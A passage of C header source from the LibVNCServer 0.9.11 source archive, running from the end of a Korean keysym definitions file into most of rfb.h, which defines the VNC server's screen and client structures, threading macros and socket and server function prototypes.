0xea3 #define XK_Hangul_Nieun 0xea4 #define XK_Hangul_NieunJieuj 0xea5 #define XK_Hangul_NieunHieuh 0xea6 #define XK_Hangul_Dikeud 0xea7 #define XK_Hangul_SsangDikeud 0xea8 #define XK_Hangul_Rieul 0xea9 #define XK_Hangul_RieulKiyeog 0xeaa #define XK_Hangul_RieulMieum 0xeab #define XK_Hangul_RieulPieub 0xeac #define XK_Hangul_RieulSios 0xead #define XK_Hangul_RieulTieut 0xeae #define XK_Hangul_RieulPhieuf 0xeaf #define XK_Hangul_RieulHieuh 0xeb0 #define XK_Hangul_Mieum 0xeb1 #define XK_Hangul_Pieub 0xeb2 #define XK_Hangul_SsangPieub 0xeb3 #define XK_Hangul_PieubSios 0xeb4 #define XK_Hangul_Sios 0xeb5 #define XK_Hangul_SsangSios 0xeb6 #define XK_Hangul_Ieung 0xeb7 #define XK_Hangul_Jieuj 0xeb8 #define XK_Hangul_SsangJieuj 0xeb9 #define XK_Hangul_Cieuc 0xeba #define XK_Hangul_Khieuq 0xebb #define XK_Hangul_Tieut 0xebc #define XK_Hangul_Phieuf 0xebd #define XK_Hangul_Hieuh 0xebe /* Hangul Vowel Characters */ #define XK_Hangul_A 0xebf #define XK_Hangul_AE 0xec0 #define XK_Hangul_YA 0xec1 #define XK_Hangul_YAE 0xec2 #define XK_Hangul_EO 0xec3 #define XK_Hangul_E 0xec4 #define XK_Hangul_YEO 0xec5 #define XK_Hangul_YE 0xec6 #define XK_Hangul_O 0xec7 #define XK_Hangul_WA 0xec8 #define XK_Hangul_WAE 0xec9 #define XK_Hangul_OE 0xeca #define XK_Hangul_YO 0xecb #define XK_Hangul_U 0xecc #define XK_Hangul_WEO 0xecd #define XK_Hangul_WE 0xece #define XK_Hangul_WI 0xecf #define XK_Hangul_YU 0xed0 #define XK_Hangul_EU 0xed1 #define XK_Hangul_YI 0xed2 #define XK_Hangul_I 0xed3 /* Hangul syllable-final (JongSeong) Characters */ #define XK_Hangul_J_Kiyeog 0xed4 #define XK_Hangul_J_SsangKiyeog 0xed5 #define XK_Hangul_J_KiyeogSios 0xed6 #define XK_Hangul_J_Nieun 0xed7 #define XK_Hangul_J_NieunJieuj 0xed8 #define XK_Hangul_J_NieunHieuh 0xed9 #define XK_Hangul_J_Dikeud 0xeda #define XK_Hangul_J_Rieul 0xedb #define XK_Hangul_J_RieulKiyeog 0xedc #define XK_Hangul_J_RieulMieum 0xedd #define XK_Hangul_J_RieulPieub 0xede #define XK_Hangul_J_RieulSios 0xedf #define XK_Hangul_J_RieulTieut 0xee0 #define XK_Hangul_J_RieulPhieuf 0xee1 #define XK_Hangul_J_RieulHieuh 0xee2 #define XK_Hangul_J_Mieum 0xee3 #define XK_Hangul_J_Pieub 0xee4 #define XK_Hangul_J_PieubSios 0xee5 #define XK_Hangul_J_Sios 0xee6 #define XK_Hangul_J_SsangSios 0xee7 #define XK_Hangul_J_Ieung 0xee8 #define XK_Hangul_J_Jieuj 0xee9 #define XK_Hangul_J_Cieuc 0xeea #define XK_Hangul_J_Khieuq 0xeeb #define XK_Hangul_J_Tieut 0xeec #define XK_Hangul_J_Phieuf 0xeed #define XK_Hangul_J_Hieuh 0xeee /* Ancient Hangul Consonant Characters */ #define XK_Hangul_RieulYeorinHieuh 0xeef #define XK_Hangul_SunkyeongeumMieum 0xef0 #define XK_Hangul_SunkyeongeumPieub 0xef1 #define XK_Hangul_PanSios 0xef2 #define XK_Hangul_KkogjiDalrinIeung 0xef3 #define XK_Hangul_SunkyeongeumPhieuf 0xef4 #define XK_Hangul_YeorinHieuh 0xef5 /* Ancient Hangul Vowel Characters */ #define XK_Hangul_AraeA 0xef6 #define XK_Hangul_AraeAE 0xef7 /* Ancient Hangul syllable-final (JongSeong) Characters */ #define XK_Hangul_J_PanSios 0xef8 #define XK_Hangul_J_KkogjiDalrinIeung 0xef9 #define XK_Hangul_J_YeorinHieuh 0xefa /* Korean currency symbol */ #define XK_Korean_Won 0xeff #endif /* XK_KOREAN */ /* Euro currency symbol */ #define XK_EuroSign 0x20ac #endif libvncserver-LibVNCServer-0.9.11/rfb/rfb.h000066400000000000000000001401111303145525000202370ustar00rootroot00000000000000#ifndef RFB_H #define RFB_H /** * @defgroup libvncserver_api LibVNCServer API Reference * @{ */ /** * @file rfb.h */ /* * Copyright (C) 2005 Rohit Kumar , * Johannes E. Schindelin * Copyright (C) 2002 RealVNC Ltd. * OSXvnc Copyright (C) 2001 Dan McGuirk . * Original Xvnc code Copyright (C) 1999 AT&T Laboratories Cambridge. * All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #if(defined __cplusplus) extern "C" { #endif #include #include #include #include #if defined(ANDROID) || defined(LIBVNCSERVER_HAVE_ANDROID) #include #include #endif #ifdef LIBVNCSERVER_HAVE_SYS_TYPES_H #include #endif #ifdef WIN32 #undef SOCKET #include #ifdef LIBVNCSERVER_HAVE_WS2TCPIP_H #undef socklen_t #include #endif #endif #ifdef LIBVNCSERVER_HAVE_LIBPTHREAD #include #if 0 /* debugging */ #define LOCK(mutex) (rfbLog("%s:%d LOCK(%s,0x%x)\n",__FILE__,__LINE__,#mutex,&(mutex)), pthread_mutex_lock(&(mutex))) #define UNLOCK(mutex) (rfbLog("%s:%d UNLOCK(%s,0x%x)\n",__FILE__,__LINE__,#mutex,&(mutex)), pthread_mutex_unlock(&(mutex))) #define MUTEX(mutex) pthread_mutex_t (mutex) #define INIT_MUTEX(mutex) (rfbLog("%s:%d INIT_MUTEX(%s,0x%x)\n",__FILE__,__LINE__,#mutex,&(mutex)), pthread_mutex_init(&(mutex),NULL)) #define TINI_MUTEX(mutex) (rfbLog("%s:%d TINI_MUTEX(%s)\n",__FILE__,__LINE__,#mutex), pthread_mutex_destroy(&(mutex))) #define TSIGNAL(cond) (rfbLog("%s:%d TSIGNAL(%s)\n",__FILE__,__LINE__,#cond), pthread_cond_signal(&(cond))) #define WAIT(cond,mutex) (rfbLog("%s:%d WAIT(%s,%s)\n",__FILE__,__LINE__,#cond,#mutex), pthread_cond_wait(&(cond),&(mutex))) #define COND(cond) pthread_cond_t (cond) #define INIT_COND(cond) (rfbLog("%s:%d INIT_COND(%s)\n",__FILE__,__LINE__,#cond), pthread_cond_init(&(cond),NULL)) #define TINI_COND(cond) (rfbLog("%s:%d TINI_COND(%s)\n",__FILE__,__LINE__,#cond), pthread_cond_destroy(&(cond))) #define IF_PTHREADS(x) x #else #if !NONETWORK #define LOCK(mutex) pthread_mutex_lock(&(mutex)); #define UNLOCK(mutex) pthread_mutex_unlock(&(mutex)); #endif #define MUTEX(mutex) pthread_mutex_t (mutex) #define INIT_MUTEX(mutex) pthread_mutex_init(&(mutex),NULL) #define TINI_MUTEX(mutex) pthread_mutex_destroy(&(mutex)) #define TSIGNAL(cond) pthread_cond_signal(&(cond)) #define WAIT(cond,mutex) pthread_cond_wait(&(cond),&(mutex)) #define COND(cond) pthread_cond_t (cond) #define INIT_COND(cond) pthread_cond_init(&(cond),NULL) #define TINI_COND(cond) pthread_cond_destroy(&(cond)) #define IF_PTHREADS(x) x #endif #else #define LOCK(mutex) #define UNLOCK(mutex) #define MUTEX(mutex) #define INIT_MUTEX(mutex) #define TINI_MUTEX(mutex) #define TSIGNAL(cond) #define WAIT(cond,mutex) this_is_unsupported #define COND(cond) #define INIT_COND(cond) #define TINI_COND(cond) #define IF_PTHREADS(x) #endif /* end of stuff for autoconf */ /* if you use pthreads, but don't define LIBVNCSERVER_HAVE_LIBPTHREAD, the structs get all mixed up. So this gives a linker error reminding you to compile the library and your application (at least the parts including rfb.h) with the same support for pthreads. */ #ifdef LIBVNCSERVER_HAVE_LIBPTHREAD #ifdef LIBVNCSERVER_HAVE_LIBZ #define rfbInitServer rfbInitServerWithPthreadsAndZRLE #else #define rfbInitServer rfbInitServerWithPthreadsButWithoutZRLE #endif #else #ifdef LIBVNCSERVER_HAVE_LIBZ #define rfbInitServer rfbInitServerWithoutPthreadsButWithZRLE #else #define rfbInitServer rfbInitServerWithoutPthreadsAndZRLE #endif #endif struct _rfbClientRec; struct _rfbScreenInfo; struct rfbCursor; enum rfbNewClientAction { RFB_CLIENT_ACCEPT, RFB_CLIENT_ON_HOLD, RFB_CLIENT_REFUSE }; enum rfbSocketState { RFB_SOCKET_INIT, RFB_SOCKET_READY, RFB_SOCKET_SHUTDOWN }; typedef void (*rfbKbdAddEventProcPtr) (rfbBool down, rfbKeySym keySym, struct _rfbClientRec* cl); typedef void (*rfbKbdReleaseAllKeysProcPtr) (struct _rfbClientRec* cl); typedef void (*rfbPtrAddEventProcPtr) (int buttonMask, int x, int y, struct _rfbClientRec* cl); typedef void (*rfbSetXCutTextProcPtr) (char* str,int len, struct _rfbClientRec* cl); typedef struct rfbCursor* (*rfbGetCursorProcPtr) (struct _rfbClientRec* pScreen); typedef rfbBool (*rfbSetTranslateFunctionProcPtr)(struct _rfbClientRec* cl); typedef rfbBool (*rfbPasswordCheckProcPtr)(struct _rfbClientRec* cl,const char* encryptedPassWord,int len); typedef enum rfbNewClientAction (*rfbNewClientHookPtr)(struct _rfbClientRec* cl); typedef void (*rfbDisplayHookPtr)(struct _rfbClientRec* cl); typedef void (*rfbDisplayFinishedHookPtr)(struct _rfbClientRec* cl, int result); /** support the capability to view the caps/num/scroll states of the X server */ typedef int (*rfbGetKeyboardLedStateHookPtr)(struct _rfbScreenInfo* screen); typedef rfbBool (*rfbXvpHookPtr)(struct _rfbClientRec* cl, uint8_t, uint8_t); /** * If x==1 and y==1 then set the whole display * else find the window underneath x and y and set the framebuffer to the dimensions * of that window */ typedef void (*rfbSetSingleWindowProcPtr) (struct _rfbClientRec* cl, int x, int y); /** * Status determines if the X11 server permits input from the local user * status==0 or 1 */ typedef void (*rfbSetServerInputProcPtr) (struct _rfbClientRec* cl, int status); /** * Permit the server to allow or deny filetransfers. This is defaulted to deny * It is called when a client initiates a connection to determine if it is permitted. */ typedef int (*rfbFileTransferPermitted) (struct _rfbClientRec* cl); /** Handle the textchat messages */ typedef void (*rfbSetTextChat) (struct _rfbClientRec* cl, int length, char *string); typedef struct { uint32_t count; rfbBool is16; /**< is the data format short? */ union { uint8_t* bytes; uint16_t* shorts; } data; /**< there have to be count*3 entries */ } rfbColourMap; /** * Security handling (RFB protocol version 3.7) */ typedef struct _rfbSecurity { uint8_t type; void (*handler)(struct _rfbClientRec* cl); struct _rfbSecurity* next; } rfbSecurityHandler; /** * Protocol extension handling. */ typedef struct _rfbProtocolExtension { /** returns FALSE if extension should be deactivated for client. if newClient == NULL, it is always deactivated. */ rfbBool (*newClient)(struct _rfbClientRec* client, void** data); /** returns FALSE if extension should be deactivated for client. if init == NULL, it stays activated. */ rfbBool (*init)(struct _rfbClientRec* client, void* data); /** if pseudoEncodings is not NULL, it contains a 0 terminated list of the pseudo encodings handled by this extension. */ int *pseudoEncodings; /** returns TRUE if that pseudo encoding is handled by the extension. encodingNumber==0 means "reset encodings". */ rfbBool (*enablePseudoEncoding)(struct _rfbClientRec* client, void** data, int encodingNumber); /** returns TRUE if message was handled */ rfbBool (*handleMessage)(struct _rfbClientRec* client, void* data, const rfbClientToServerMsg* message); void (*close)(struct _rfbClientRec* client, void* data); void (*usage)(void); /** processArguments returns the number of handled arguments */ int (*processArgument)(int argc, char *argv[]); struct _rfbProtocolExtension* next; } rfbProtocolExtension; typedef struct _rfbExtensionData { rfbProtocolExtension* extension; void* data; struct _rfbExtensionData* next; } rfbExtensionData; /** * Per-screen (framebuffer) structure. There can be as many as you wish, * each serving different clients. However, you have to call * rfbProcessEvents for each of these. */ typedef struct _rfbScreenInfo { /** this structure has children that are scaled versions of this screen */ struct _rfbScreenInfo *scaledScreenNext; int scaledScreenRefCount; int width; int paddedWidthInBytes; int height; int depth; int bitsPerPixel; int sizeInBytes; rfbPixel blackPixel; rfbPixel whitePixel; /** * some screen specific data can be put into a struct where screenData * points to. You need this if you have more than one screen at the * same time while using the same functions. */ void* screenData; /* additions by libvncserver */ rfbPixelFormat serverFormat; rfbColourMap colourMap; /**< set this if rfbServerFormat.trueColour==FALSE */ const char* desktopName; char thisHost[255]; rfbBool autoPort; int port; SOCKET listenSock; int maxSock; int maxFd; #ifdef WIN32 struct fd_set allFds; #else fd_set allFds; #endif enum rfbSocketState socketState; SOCKET inetdSock; rfbBool inetdInitDone; int udpPort; SOCKET udpSock; struct _rfbClientRec* udpClient; rfbBool udpSockConnected; struct sockaddr_in udpRemoteAddr; int maxClientWait; /* http stuff */ rfbBool httpInitDone; rfbBool httpEnableProxyConnect; int httpPort; char* httpDir; SOCKET httpListenSock; SOCKET httpSock; rfbPasswordCheckProcPtr passwordCheck; void* authPasswdData; /** If rfbAuthPasswdData is given a list, this is the first view only password. */ int authPasswdFirstViewOnly; /** send only this many rectangles in one update */ int maxRectsPerUpdate; /** this is the amount of milliseconds to wait at least before sending * an update. */ int deferUpdateTime; #ifdef TODELETE char* screen; #endif rfbBool alwaysShared; rfbBool neverShared; rfbBool dontDisconnect; struct _rfbClientRec* clientHead; struct _rfbClientRec* pointerClient; /**< "Mutex" for pointer events */ /* cursor */ int cursorX, cursorY,underCursorBufferLen; char* underCursorBuffer; rfbBool dontConvertRichCursorToXCursor; struct rfbCursor* cursor; /** * the frameBuffer has to be supplied by the serving process. * The buffer will not be freed by */ char* frameBuffer; rfbKbdAddEventProcPtr kbdAddEvent; rfbKbdReleaseAllKeysProcPtr kbdReleaseAllKeys; rfbPtrAddEventProcPtr ptrAddEvent; rfbSetXCutTextProcPtr setXCutText; rfbGetCursorProcPtr getCursorPtr; rfbSetTranslateFunctionProcPtr setTranslateFunction; rfbSetSingleWindowProcPtr setSingleWindow; rfbSetServerInputProcPtr setServerInput; rfbFileTransferPermitted getFileTransferPermission; rfbSetTextChat setTextChat; /** newClientHook is called just after a new client is created */ rfbNewClientHookPtr newClientHook; /** displayHook is called just before a frame buffer update */ rfbDisplayHookPtr displayHook; /** These hooks are called to pass keyboard state back to the client */ rfbGetKeyboardLedStateHookPtr getKeyboardLedStateHook; #ifdef LIBVNCSERVER_HAVE_LIBPTHREAD MUTEX(cursorMutex); rfbBool backgroundLoop; #endif /** if TRUE, an ignoring signal handler is installed for SIGPIPE */ rfbBool ignoreSIGPIPE; /** if not zero, only a slice of this height is processed every time * an update should be sent. This should make working on a slow * link more interactive. */ int progressiveSliceHeight; in_addr_t listenInterface; int deferPtrUpdateTime; /** handle as many input events as possible (default off) */ rfbBool handleEventsEagerly; /** rfbEncodingServerIdentity */ char *versionString; /** What does the server tell the new clients which version it supports */ int protocolMajorVersion; int protocolMinorVersion; /** command line authorization of file transfers */ rfbBool permitFileTransfer; /** displayFinishedHook is called just after a frame buffer update */ rfbDisplayFinishedHookPtr displayFinishedHook; /** xvpHook is called to handle an xvp client message */ rfbXvpHookPtr xvpHook; #ifdef LIBVNCSERVER_WITH_WEBSOCKETS char *sslkeyfile; char *sslcertfile; #endif int ipv6port; /**< The port to listen on when using IPv6. */ char* listen6Interface; /* We have an additional IPv6 listen socket since there are systems that don't support dual binding sockets under *any* circumstances, for instance OpenBSD */ SOCKET listen6Sock; int http6Port; SOCKET httpListen6Sock; } rfbScreenInfo, *rfbScreenInfoPtr; /** * rfbTranslateFnType is the type of translation functions. */ typedef void (*rfbTranslateFnType)(char *table, rfbPixelFormat *in, rfbPixelFormat *out, char *iptr, char *optr, int bytesBetweenInputLines, int width, int height); /* region stuff */ struct sraRegion; typedef struct sraRegion* sraRegionPtr; /* * Per-client structure. */ typedef void (*ClientGoneHookPtr)(struct _rfbClientRec* cl); typedef struct _rfbFileTransferData { int fd; int compressionEnabled; int fileSize; int numPackets; int receiving; int sending; } rfbFileTransferData; typedef struct _rfbStatList { uint32_t type; uint32_t sentCount; uint32_t bytesSent; uint32_t bytesSentIfRaw; uint32_t rcvdCount; uint32_t bytesRcvd; uint32_t bytesRcvdIfRaw; struct _rfbStatList *Next; } rfbStatList; typedef struct _rfbSslCtx rfbSslCtx; typedef struct _wsCtx wsCtx; typedef struct _rfbClientRec { /** back pointer to the screen */ rfbScreenInfoPtr screen; /** points to a scaled version of the screen buffer in cl->scaledScreenList */ rfbScreenInfoPtr scaledScreen; /** how did the client tell us it wanted the screen changed? Ultra style or palm style? */ rfbBool PalmVNC; /** private data. You should put any application client specific data * into a struct and let clientData point to it. Don't forget to * free the struct via clientGoneHook! * * This is useful if the IO functions have to behave client specific. */ void* clientData; ClientGoneHookPtr clientGoneHook; SOCKET sock; char *host; /* RFB protocol minor version number */ int protocolMajorVersion; int protocolMinorVersion; #ifdef LIBVNCSERVER_HAVE_LIBPTHREAD pthread_t client_thread; #endif /* Note that the RFB_INITIALISATION_SHARED state is provided to support clients that under some circumstances do not send a ClientInit message. In particular the Mac OS X built-in VNC client (with protocolMinorVersion == 889) is one of those. However, it only requires this support under special circumstances that can only be determined during the initial authentication. If the right conditions are met this state will be set (see the auth.c file) when rfbProcessClientInitMessage is called. If the state is RFB_INITIALISATION_SHARED we should not expect to receive any ClientInit message, but instead should proceed to the next stage of initialisation as though an implicit ClientInit message was received with a shared-flag of true. (There is currently no corresponding RFB_INITIALISATION_NOTSHARED state to represent an implicit ClientInit message with a shared-flag of false because no known existing client requires such support at this time.) Note that software using LibVNCServer to provide a VNC server will only ever have a chance to see the state field set to RFB_INITIALISATION_SHARED if the software is multi-threaded and manages to examine the state field during the extremely brief window after the 'None' authentication type selection has been received from the built-in OS X VNC client and before the rfbProcessClientInitMessage function is called -- control cannot return to the caller during this brief window while the state field is set to RFB_INITIALISATION_SHARED. */ /** Possible client states: */ enum { RFB_PROTOCOL_VERSION, /**< establishing protocol version */ RFB_SECURITY_TYPE, /**< negotiating security (RFB v.3.7) */ RFB_AUTHENTICATION, /**< authenticating */ RFB_INITIALISATION, /**< sending initialisation messages */ RFB_NORMAL, /**< normal protocol messages */ /* Ephemeral internal-use states that will never be seen by software * using LibVNCServer to provide services: */ RFB_INITIALISATION_SHARED /**< sending initialisation messages with implicit shared-flag already true */ } state; rfbBool reverseConnection; rfbBool onHold; rfbBool readyForSetColourMapEntries; rfbBool useCopyRect; int preferredEncoding; int correMaxWidth, correMaxHeight; rfbBool viewOnly; /* The following member is only used during VNC authentication */ uint8_t authChallenge[CHALLENGESIZE]; /* The following members represent the update needed to get the client's framebuffer from its present state to the current state of our framebuffer. If the client does not accept CopyRect encoding then the update is simply represented as the region of the screen which has been modified (modifiedRegion). If the client does accept CopyRect encoding, then the update consists of two parts. First we have a single copy from one region of the screen to another (the destination of the copy is copyRegion), and second we have the region of the screen which has been modified in some other way (modifiedRegion). Although the copy is of a single region, this region may have many rectangles. When sending an update, the copyRegion is always sent before the modifiedRegion. This is because the modifiedRegion may overlap parts of the screen which are in the source of the copy. In fact during normal processing, the modifiedRegion may even overlap the destination copyRegion. Just before an update is sent we remove from the copyRegion anything in the modifiedRegion. */ sraRegionPtr copyRegion; /**< the destination region of the copy */ int copyDX, copyDY; /**< the translation by which the copy happens */ sraRegionPtr modifiedRegion; /** As part of the FramebufferUpdateRequest, a client can express interest in a subrectangle of the whole framebuffer. This is stored in the requestedRegion member. In the normal case this is the whole framebuffer if the client is ready, empty if it's not. */ sraRegionPtr requestedRegion; /** The following member represents the state of the "deferred update" timer - when the framebuffer is modified and the client is ready, in most cases it is more efficient to defer sending the update by a few milliseconds so that several changes to the framebuffer can be combined into a single update. */ struct timeval startDeferring; struct timeval startPtrDeferring; int lastPtrX; int lastPtrY; int lastPtrButtons; /** translateFn points to the translation function which is used to copy and translate a rectangle from the framebuffer to an output buffer. */ rfbTranslateFnType translateFn; char *translateLookupTable; rfbPixelFormat format; /** * UPDATE_BUF_SIZE must be big enough to send at least one whole line of the * framebuffer. So for a max screen width of say 2K with 32-bit pixels this * means 8K minimum. */ #define UPDATE_BUF_SIZE 30000 char updateBuf[UPDATE_BUF_SIZE]; int ublen; /* statistics */ struct _rfbStatList *statEncList; struct _rfbStatList *statMsgList; int rawBytesEquivalent; int bytesSent; #ifdef LIBVNCSERVER_HAVE_LIBZ /* zlib encoding -- necessary compression state info per client */ struct z_stream_s compStream; rfbBool compStreamInited; uint32_t zlibCompressLevel; #endif #if defined(LIBVNCSERVER_HAVE_LIBZ) || defined(LIBVNCSERVER_HAVE_LIBPNG) /** the quality level is also used by ZYWRLE and TightPng */ int tightQualityLevel; #ifdef LIBVNCSERVER_HAVE_LIBJPEG /* tight encoding -- preserve zlib streams' state for each client */ z_stream zsStruct[4]; rfbBool zsActive[4]; int zsLevel[4]; int tightCompressLevel; #endif #endif /* Ultra Encoding support */ rfbBool compStreamInitedLZO; char *lzoWrkMem; rfbFileTransferData fileTransfer; int lastKeyboardLedState; /**< keep track of last value so we can send *change* events */ rfbBool enableSupportedMessages; /**< client supports SupportedMessages encoding */ rfbBool enableSupportedEncodings; /**< client supports SupportedEncodings encoding */ rfbBool enableServerIdentity; /**< client supports ServerIdentity encoding */ rfbBool enableKeyboardLedState; /**< client supports KeyboardState encoding */ rfbBool enableLastRectEncoding; /**< client supports LastRect encoding */ rfbBool enableCursorShapeUpdates; /**< client supports cursor shape updates */ rfbBool enableCursorPosUpdates; /**< client supports cursor position updates */ rfbBool useRichCursorEncoding; /**< rfbEncodingRichCursor is preferred */ rfbBool cursorWasChanged; /**< cursor shape update should be sent */ rfbBool cursorWasMoved; /**< cursor position update should be sent */ int cursorX,cursorY; /**< the coordinates of the cursor, if enableCursorShapeUpdates = FALSE */ rfbBool useNewFBSize; /**< client supports NewFBSize encoding */ rfbBool newFBSizePending; /**< framebuffer size was changed */ struct _rfbClientRec *prev; struct _rfbClientRec *next; #ifdef LIBVNCSERVER_HAVE_LIBPTHREAD /** whenever a client is referenced, the refCount has to be incremented and afterwards decremented, so that the client is not cleaned up while being referenced. Use the functions rfbIncrClientRef(cl) and rfbDecrClientRef(cl); */ int refCount; MUTEX(refCountMutex); COND(deleteCond); MUTEX(outputMutex); MUTEX(updateMutex); COND(updateCond); #endif #ifdef LIBVNCSERVER_HAVE_LIBZ void* zrleData; int zywrleLevel; int zywrleBuf[rfbZRLETileWidth * rfbZRLETileHeight]; #endif /** if progressive updating is on, this variable holds the current * y coordinate of the progressive slice. */ int progressiveSliceY; rfbExtensionData* extensions; /** for threaded zrle */ char *zrleBeforeBuf; void *paletteHelper; /** for thread safety for rfbSendFBUpdate() */ #ifdef LIBVNCSERVER_HAVE_LIBPTHREAD #define LIBVNCSERVER_SEND_MUTEX MUTEX(sendMutex); #endif /* buffers to hold pixel data before and after encoding. per-client for thread safety */ char *beforeEncBuf; int beforeEncBufSize; char *afterEncBuf; int afterEncBufSize; int afterEncBufLen; #if defined(LIBVNCSERVER_HAVE_LIBZ) || defined(LIBVNCSERVER_HAVE_LIBPNG) uint32_t tightEncoding; /* rfbEncodingTight or rfbEncodingTightPng */ #ifdef LIBVNCSERVER_HAVE_LIBJPEG /* TurboVNC Encoding support (extends TightVNC) */ int turboSubsampLevel; int turboQualityLevel; /* 1-100 scale */ #endif #endif #ifdef LIBVNCSERVER_WITH_WEBSOCKETS rfbSslCtx *sslctx; wsCtx *wsctx; char *wspath; /* Requests path component */ #endif } rfbClientRec, *rfbClientPtr; /** * This macro is used to test whether there is a framebuffer update needing to * be sent to the client. */ #define FB_UPDATE_PENDING(cl) \ (((cl)->enableCursorShapeUpdates && (cl)->cursorWasChanged) || \ (((cl)->enableCursorShapeUpdates == FALSE && \ ((cl)->cursorX != (cl)->screen->cursorX || \ (cl)->cursorY != (cl)->screen->cursorY))) || \ ((cl)->useNewFBSize && (cl)->newFBSizePending) || \ ((cl)->enableCursorPosUpdates && (cl)->cursorWasMoved) || \ !sraRgnEmpty((cl)->copyRegion) || !sraRgnEmpty((cl)->modifiedRegion)) /* * Macros for endian swapping. */ #define Swap16(s) ((((s) & 0xff) << 8) | (((s) >> 8) & 0xff)) #define Swap24(l) ((((l) & 0xff) << 16) | (((l) >> 16) & 0xff) | \ (((l) & 0x00ff00))) #define Swap32(l) ((((l) >> 24) & 0x000000ff)| \ (((l) & 0x00ff0000) >> 8) | \ (((l) & 0x0000ff00) << 8) | \ (((l) & 0x000000ff) << 24)) extern char rfbEndianTest; #define Swap16IfLE(s) (rfbEndianTest ? Swap16(s) : (s)) #define Swap24IfLE(l) (rfbEndianTest ? Swap24(l) : (l)) #define Swap32IfLE(l) (rfbEndianTest ? Swap32(l) : (l)) /* UltraVNC uses some windows structures unmodified, so the viewer expects LittleEndian Data */ #define Swap16IfBE(s) (rfbEndianTest ? (s) : Swap16(s)) #define Swap24IfBE(l) (rfbEndianTest ? (l) : Swap24(l)) #define Swap32IfBE(l) (rfbEndianTest ? (l) : Swap32(l)) /* sockets.c */ extern int rfbMaxClientWait; extern void rfbInitSockets(rfbScreenInfoPtr rfbScreen); extern void rfbShutdownSockets(rfbScreenInfoPtr rfbScreen); extern void rfbDisconnectUDPSock(rfbScreenInfoPtr rfbScreen); extern void rfbCloseClient(rfbClientPtr cl); extern int rfbReadExact(rfbClientPtr cl, char *buf, int len); extern int rfbReadExactTimeout(rfbClientPtr cl, char *buf, int len,int timeout); extern int rfbPeekExactTimeout(rfbClientPtr cl, char *buf, int len,int timeout); extern int rfbWriteExact(rfbClientPtr cl, const char *buf, int len); extern int rfbCheckFds(rfbScreenInfoPtr rfbScreen,long usec); extern int rfbConnect(rfbScreenInfoPtr rfbScreen, char* host, int port); extern int rfbConnectToTcpAddr(char* host, int port); extern int rfbListenOnTCPPort(int port, in_addr_t iface); extern int rfbListenOnTCP6Port(int port, const char* iface); extern int rfbListenOnUDPPort(int port, in_addr_t iface); extern int rfbStringToAddr(char* string,in_addr_t* addr); extern rfbBool rfbSetNonBlocking(int sock); #ifdef LIBVNCSERVER_WITH_WEBSOCKETS /* websockets.c */ extern rfbBool webSocketsCheck(rfbClientPtr cl); extern rfbBool webSocketCheckDisconnect(rfbClientPtr cl); extern int webSocketsEncode(rfbClientPtr cl, const char *src, int len, char **dst); extern int webSocketsDecode(rfbClientPtr cl, char *dst, int len); extern rfbBool webSocketsHasDataInBuffer(rfbClientPtr cl); #endif /* rfbserver.c */ /* Routines to iterate over the client list in a thread-safe way. Only a single iterator can be in use at a time process-wide. */ typedef struct rfbClientIterator *rfbClientIteratorPtr; extern void rfbClientListInit(rfbScreenInfoPtr rfbScreen); extern rfbClientIteratorPtr rfbGetClientIterator(rfbScreenInfoPtr rfbScreen); extern rfbClientPtr rfbClientIteratorNext(rfbClientIteratorPtr iterator); extern void rfbReleaseClientIterator(rfbClientIteratorPtr iterator); extern void rfbIncrClientRef(rfbClientPtr cl); extern void rfbDecrClientRef(rfbClientPtr cl); extern void rfbNewClientConnection(rfbScreenInfoPtr rfbScreen,int sock); extern rfbClientPtr rfbNewClient(rfbScreenInfoPtr rfbScreen,int sock); extern rfbClientPtr rfbNewUDPClient(rfbScreenInfoPtr rfbScreen); extern rfbClientPtr rfbReverseConnection(rfbScreenInfoPtr rfbScreen,char *host, int port); extern void rfbClientConnectionGone(rfbClientPtr cl); extern void rfbProcessClientMessage(rfbClientPtr cl); extern void rfbClientConnFailed(rfbClientPtr cl, const char *reason); extern void rfbNewUDPConnection(rfbScreenInfoPtr rfbScreen,int sock); extern void rfbProcessUDPInput(rfbScreenInfoPtr rfbScreen); extern rfbBool rfbSendFramebufferUpdate(rfbClientPtr cl, sraRegionPtr updateRegion); extern rfbBool rfbSendRectEncodingRaw(rfbClientPtr cl, int x,int y,int w,int h); extern rfbBool rfbSendUpdateBuf(rfbClientPtr cl); extern void rfbSendServerCutText(rfbScreenInfoPtr rfbScreen,char *str, int len); extern rfbBool rfbSendCopyRegion(rfbClientPtr cl,sraRegionPtr reg,int dx,int dy); extern rfbBool rfbSendLastRectMarker(rfbClientPtr cl); extern rfbBool rfbSendNewFBSize(rfbClientPtr cl, int w, int h); extern rfbBool rfbSendSetColourMapEntries(rfbClientPtr cl, int firstColour, int nColours); extern void rfbSendBell(rfbScreenInfoPtr rfbScreen); extern char *rfbProcessFileTransferReadBuffer(rfbClientPtr cl, uint32_t length); extern rfbBool rfbSendFileTransferChunk(rfbClientPtr cl); extern rfbBool rfbSendDirContent(rfbClientPtr cl, int length, char *buffer); extern rfbBool rfbSendFileTransferMessage(rfbClientPtr cl, uint8_t contentType, uint8_t contentParam, uint32_t size, uint32_t length, const char *buffer); extern char *rfbProcessFileTransferReadBuffer(rfbClientPtr cl, uint32_t length); extern rfbBool rfbProcessFileTransfer(rfbClientPtr cl, uint8_t contentType, uint8_t contentParam, uint32_t size, uint32_t length); void rfbGotXCutText(rfbScreenInfoPtr rfbScreen, char *str, int len); /* translate.c */ extern rfbBool rfbEconomicTranslate; extern void rfbTranslateNone(char *table, rfbPixelFormat *in, rfbPixelFormat *out, char *iptr, char *optr, int bytesBetweenInputLines, int width, int height); extern rfbBool rfbSetTranslateFunction(rfbClientPtr cl); extern rfbBool rfbSetClientColourMap(rfbClientPtr cl, int firstColour, int nColours); extern void rfbSetClientColourMaps(rfbScreenInfoPtr rfbScreen, int firstColour, int nColours); /* httpd.c */ extern void rfbHttpInitSockets(rfbScreenInfoPtr rfbScreen); extern void rfbHttpShutdownSockets(rfbScreenInfoPtr rfbScreen); extern void rfbHttpCheckFds(rfbScreenInfoPtr rfbScreen); /* auth.c */ extern void rfbAuthNewClient(rfbClientPtr cl); extern void 